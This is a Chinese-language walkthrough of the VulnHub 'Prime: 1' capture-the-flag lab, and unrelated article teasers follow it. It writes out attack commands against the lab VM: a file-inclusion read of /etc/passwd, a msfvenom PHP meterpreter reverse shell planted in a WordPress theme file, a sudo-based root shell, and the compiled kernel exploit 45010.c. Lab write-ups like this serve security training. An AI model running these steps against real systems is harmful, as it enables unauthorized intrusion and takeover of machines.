vulnhub prime1通关

目录

环境安装

1.信息收集

收集IP

端口扫描

目录扫描

 目录文件扫描

查找参数

打Boss

远程文件读取

木马文件写入

权限提升

方法一

解锁密钥

方法二:

linux内核漏洞提权

总结

环境安装

Kali2021.4及其prime靶机

靶机安装:Prime: 1 ~ VulnHub

 解压后点击下面选中文件,选择虚拟机打开即可,

 然后修改一下设置,采用NAT模式就行,nat可以通过主机与外部网络连接,且有独立ip

 打开虚拟机即可

1.信息收集

收集IP

arp-scan -l

通过http://<ip>的形式访问,确定了靶机IP为192.168.232.128

端口扫描

nmap <ip>

 开启了22端口(ssh服务)、80端口(http)。

目录扫描

dirb http://192.168.232.128 

访问/dev,发现提示,应该深度挖掘

 目录文件扫描

dirb http://192.168.232.128 -X .txt,.php,.html,.zip

 

 哦!secret.txt,快快快

提示:我们fuzz一下,然后就是github那个网址,还有查看location.txt,发现直接访问/location.txt并不行,那先放一放,看看github网站

具体如下:

COMMAND = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something

查找参数

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 http://192.168.232.128/index.php?FUZZ=location.txt

 一大堆是line=7,应该都不是我们所需要的,随便试一个也没有回显,现在我们可以添加命令--h; 7 过滤line=7

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 --hw 500 --hl 7 http://192.168.232.128/index.php?FUZZ=location.txt

发现file参数,此时猜测可能与文件包含有关,快快快传入file=location.txt试试,成功!

打Boss

远程文件读取

再看看/etc/passwd,看看,看来只限于读取location.txt文件

根据上述location的提示:出现下一个参数secrettier360,试试看

空空如也

不过之前还扫出个image.php吗?再在传参试试

成功,并且可以远程读文件,读个/etc/passwd试试,发现关键,现在再看看/home/saket/password.txt,读取到密码"follow_the_ippsec"。

猜测可能是ssh的密码,试试看

看来是不对了。

回看之前web目录扫描的时候,看到下列信息

访问看看,发现要登录

但是没有Username,不过我们不难看出,该网站是用wordpress搭建的,于是我们就是用专用于改模块的工具看看用户

wpscan --url http://192.168.232.128/wordpress -e

确定了用户名victor

登录看看,成功登录!

木马文件写入

一个一个看,最后发现Appearance-Theme Editor-secret.php这个文件可以更改内容,那就插入木马文件吧

kali可以使用msf来生成后木马文件(ip要改为kali的ip),其实传入一句话木马也行,然后蚁剑连接,但是后续我没有试过了

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.232.152 LPORT=7777  -o mshell.php

 启动msf

msfconsole  //启动
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.232.152
set lport 7777
run

此时就说明连接成功了

但是还要执行一个'shell'指令才能执行命令行,如下

权限提升

方法一

解锁密钥

先 whoami  查看用户

www-data,比一般的用户权限还要低。

看看我们能执行的

sudo -l

sudo -l 是一个在Unix/Linux系统(包括Kali Linux)中用于查询当前用户所拥有的sudo权限的命令。当你执行 sudo -l 时,系统会列出你作为当前用户可以执行哪些命令以及使用sudo时无需再次输入密码的命令配置。

 访问/home/saket/enc,权限不够,那我们看看别的

 

cat enc也行不通,但是由上图发现enc有执行权限,不管什么先执行看看

要输入密码,试试之前那个,如上没有任何回显,说明密码不对,但是一般而言对于密码系统都会有备份文件,试着找一下

find / -name '*backup*' 2>/dev/null  | less| sort


find /:在根目录寻找包含backup字符串的文件
2>/dev/null: /dev/null 是一个特殊的文件,它的作用是丢弃所有写入它的数据。即将错误输出重定向到 /dev/null 就相当于丢弃所有错误信息(例如权限不足),只保留正常输出
| less 把前的指令内容用less指令执行
| sort 把输出内容以以首字母排序

 找到可疑文件,查看试试

拿到可疑密码,backup_password

密码正确,权限不够,但是此时好像跟enc.txt,key.txt有关,那就看看

顺便看一下,又得知enc是一种openssl加密方式、key即为密钥

openssl解密

命令

echo '{要解密的字符串}' | openssl enc -d -a -{解密算法} -K {key值}

{key}必须为十六进制编码
md5加密
echo -n "ippsec" | md5sum
转为十六进制
echo -n "366a74cb3c959de17d61db30591c39d1" | od -An -t x1 |tr -d ' ' |tr -d '\n'

| od -An -t x1:管道 (|) 将 echo 输出的内容传递给 od(octal dump)命令。-An 参数表示不打印地址,-t x1 表示以十六进制形式输出每个字节。
| tr -d ' ':tr(translate)命令用于删除指定字符,这里的 -d ' ' 表示删除所有空格。
| tr -d '\n':再次使用 tr 命令删除所有的换行符(\n)。

然后把openssl的解密方法下载至CryptType文中

红线以下的内容全部保存在CryptType文件中

然后使用批解密的方式,进行解密

 for i in $(cat CryptType);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null; echo $i;done

 aes-256-cbc解密成功

 根据提示,有可能是ssh的端口的密码。

ssh saket@<ip>

成功连接,现在至升到了一般用户,接下来提权到root

继续看看可执行的命令,sudo -l

提示,到/home/victor/undefeated_victor,所以sudo /home/victor/undefeated_victor

然后我们可以执行一个python命令来优化命令执行

python -c 'import pty;pty.spawn("/bin/bash")'

 

使得$变为了saket@ubuntu,方便我们更好查看所属目录

再根据上上图片的提示,发现没有找到/tmp/challenge,应该是要我们自己创建

几乎要先cd /tmp 到该目录下

写入内容

#!/bin/bash
/bin/bash

在上述命令中,sudo 会让用户临时以root权限执行 /bin/bash,前提是你有足够的权限(即已授权sudo且知道sudo密码)。

 成功写入,但后附与该文件执行权限

chmod +x challenge

再次执行

sudo /home/victor/undefeated_victor

即可拿到root命令行

读取flag即可

下面展示未使用优化命令行,由于已经生成了challenge文件,就不比在演示了

方法二:

linux内核漏洞提权

此时还是在msf中的

查看内核版本

hostnamectl
或者
uname -a

再创建一个msf的窗口,查找内核漏洞

找到后,使用下述命令把它copy到家目录(~)下

cp /usr/share/exploitdb/exploits/linux/local/45010.c ~

用gcc编译它,并保存为yf文件(随便取)

gcc 45010.c -o yf

然后使用msf的upload指令把该文件放在靶机中

upload ~/yf /tmp/45010

然后shell,使用终端查看后,对该45010文件赋予(x)执行权限。最后 ./45010 执行该文件即可

 此处没有成功的原因是kali的版本过高了,没有成功。

一般执行之后应该是下图

然后就是到root目录下拿取root.txt就可以了。

总结

大致熟悉了渗透的过程,了解了msf的使用,以及Linux内核提权,解密钥等的方法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/481723.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Install Docker

Docker Desktop 直接安装 Docker Desktop Docker Desktop includes the Docker daemon (dockerd), the Docker client (docker), Docker Compose, Docker Content Trust, Kubernetes, and Credential Helper. Linux下安装Docker CE 参考官方文档 参见阿里云的文档 # step 1…

docker安装WireGuard服务

启动 WireGuard 如下异常 则是linux内核需要升级 $ wg-quick down wg0 $ wg-quick up wg0 Error: WireGuard exited with the error: Cannot find device "wg0" This usually means that your hosts kernel does not support WireGuard!at /app/lib/WireGuard.js:65…

效率加倍 :5 个有助于自动化办公的 Python 工具库

想想你在工作中所做的所有重复性任务。发送电子邮件、创建 Excel 报告、从 PDF 中提取数据、手动进行大量的数据分析工作。 我相信没有人愿意天天重复这样做&#xff0c;但最终&#xff0c;必须有人这样做。有没有更好的解决方案呢&#xff1f; 在本文中&#xff0c;我将向大…

【STL学习】(1)string类

前言 本文将详细讲解STL中string类的常用的接口函数。 一、为什么学习string类&#xff1f; 1、字符串类型的重要性 在现实生活中有很多复杂类型是以字符串来表达的&#xff0c;比如我们在搜索引擎输入的“数据”&#xff0c;一个人的姓名、身份证号等等。 所以字符串类型是很…

康奋威科技邀您到场参观2024长三角快递物流展

参展企业介绍 杭州康奋威科技股份有限公司创立于2005年&#xff0c;由国家“万人计划”专家任天挺先生创立并担任法人&#xff0c;是一家专业从事智能装备研发与制造的国家级高新技术企业。专注于自动化控制、机械设计、信息化方面的技术研究&#xff0c;主要为太阳能光伏、智…

一篇文章让你完全掌握使用Git推送代码到新版GitCode

Git推送代码到新版GitCode 前言一、安装git二、tortoise git的安装2.1 关于tortoise git2.2 tortoise git和tortoise git汉语包的下载2.3安装过程2.4配置tortoise git 三、创建GitCode项目关于READM文件关于.gitignore文件关于LICENS文件 四、配置GitCode和Git4.1克隆项目4.2配…

【十二】【算法分析与设计】滑动窗口(3)

30. 串联所有单词的子串 给定一个字符串 s 和一个字符串数组 words。 words 中所有字符串 长度相同。 s 中的 串联子串 是指一个包含 words 中所有字符串以任意顺序排列连接起来的子串。 例如&#xff0c;如果 words ["ab","cd","ef"]&#xff…

【Godot 3.5控件】用TextureProgress制作血条

说明 本文写自2022年11月13日-14日&#xff0c;内容基于Godot3.5。后续可能会进行向4.2版本的转化。 概述 之前基于ProgressBar创建过血条组件。它主要是基于修改StyleBoxFlat&#xff0c;好处是它几乎可以算是矢量的&#xff0c;体积小&#xff0c;所有东西都是样式信息&am…

Mysql学习--深入探究索引和事务的重点要点与考点

꒰˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好&#xff0c;我是xiaoxie.希望你看完之后,有不足之处请多多谅解&#xff0c;让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客 本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN …

基于springboot+vue+Mysql的闲一品交易平台

开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;…

2024,产品国际化改造

2024&#xff0c;我们的核心是国际化/信创/多租户/AI融合应用。 作为招投标与即将推进的项目需求&#xff0c;优先对产品进行国际化改造。 1.我们的思考 作为基础平台个性化定制的项目落地模式&#xff0c;我们必须兼顾平台与定制直接的平衡&#xff0c;使整个系统能快速在多…

力扣541. 反转字符串 II

思路&#xff1a;题目的意思就是每2k个字符进行一次循环访问&#xff0c;如果个数小于k就全部反转&#xff0c;如果大于k则只反转k个字符; class Solution {public String reverseStr(String s, int k) {char[] charArray s.toCharArray();int length charArray.length;//每…

DDR4总结最全纯干货分享

DDR存储器发展的主要方向一言以蔽之&#xff0c;是更高速率&#xff0c;更低电压&#xff0c;更密的存储密度&#xff0c;从而实现更好的性能。 DDR4 SDRAM&#xff08;Double Data Rate Fourth SDRAM&#xff09;&#xff1a;DDR4提供比DDR3/ DDR2更低的供电电压1.2V以及更高的…

学会这些Jmeter插件,才能设计出复杂性能测试场景

为什么要使用jmeter线程组插件呢&#xff1f; jmeter自带的线程组插件模拟的压测场景非常有限&#xff0c;当需要模拟复杂压测场景的时候&#xff0c;推荐大家使用jmeter线程组插件。 如何下载jmeter线程组插件呢&#xff1f; 早期版本的jmeter可以针对我们需要的扩展功能&a…

Docker-Container

Docker ①什么是容器②为什么需要容器③容器的生命周期容器 OOM容器异常退出容器暂停 ④容器命令清单总览docker createdocker rundocker psdocker logsdocker attachdocker execdocker startdocker stopdocker restartdocker killdocker topdocker statsdocker container insp…

宏集PLC如何应用于建筑的3D打印?

案例概况 客户&#xff1a;Rebuild 合作伙伴&#xff1a;ASTOR 应用&#xff1a;用于建筑的大尺寸3D打印 应用产品&#xff1a;3D混凝土打印机 一、应用背景 自从20世纪80年代以来&#xff0c;增材制造技术&#xff08;即3D打印&#xff09;不断发展。大部分3D打印技术应…

力扣---零钱兑换---动态规划

思路&#xff1a; 这是一道典型的动态规划问题&#xff08;希望下次不用提示&#xff0c;能直接认出来&#xff09;&#xff1a;我将g[i]定义为总金币为i所需的最少硬币个数。所以递推公式可以表示为&#xff1a;g[i]min(g[i-1],g[i-2],g[i-5])1&#xff0c;也就是g[i]min(g[i-…

简介:网络数据中心和数字孪生系统融合

前言 云服务器是在云中提供可扩展的计算服务&#xff0c;避免了使用传统服务器时需要预估资源用量及前期投入的情况。云服务器支持用户自定义一切资源&#xff1a;cpu、内存、硬盘、网络、安全等等&#xff0c;并可在访问量和负载等需求发生变化时轻松地调整它们。云服务器为业…

算法公式汇总

文章目录 三角函数定义式诱导公式平方关系两角和与差的三角函数积化和差公式和差化积公式倍角公式半角公式万能公式其他公式反三角函数恒等式 三角函数定义式 三角函数 定义式 余切&#xff1a; c o t A 1 t a n A \text { 余切&#xff1a;} \ cotA \frac{1}{tanA} 余切&a…

华为OD机22道试题

华为OD机试题 2.查找小朋友的好朋友位置 在学校中&#xff0c;N 个小朋友站成一队&#xff0c;第 i 个小朋友的身高为 height[i]&#xff0c;第 i 个小朋友可以看到第一个比自己身高更高的小朋友j&#xff0c;那么 j 是 i 的好朋友 (要求&#xff1a;j>i) 。 请重新生成一个…